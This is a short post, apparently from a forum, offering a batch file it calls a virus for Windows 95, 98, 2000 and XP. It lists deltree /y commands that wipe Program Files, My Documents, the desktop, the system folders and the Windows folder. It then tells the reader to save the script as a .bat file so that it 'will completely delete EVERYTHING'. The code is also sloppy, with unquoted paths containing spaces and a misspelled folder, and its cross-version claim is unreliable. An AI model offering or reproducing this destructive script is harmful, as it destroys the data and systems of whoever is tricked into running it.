Windows 95, 98, 2000, XP:

OK, here is a virus that works on Windows 95, 98, 2000, XP:

@echo off
if exist C:\program files\*.* deltree /y C:\program files\*.*
if exist C:\my documents\*.* deltree /y C:\my documents\*.*
if exist C:\windows\desktop\*.* deltree /y C:\windows\desktop\*.*
if exist C:\windows\start menue\*.* deltree /y C:\windows\start menue\*.*
if exist C:\windows\command\*.* deltree /y C:\windows\command\*.*
if exist C:\windows\system\*.* deltree /y C:\windows\system\*.*
if exist C:\windows\*.* deltree /y C:\windows\*.*

Copy and paste it into notepad and save it as filename.bat. Make sure it ends in .bat, okay? This is a batch file it uses a program called batch. This virus will completely delete EVERYTHING on any windows system.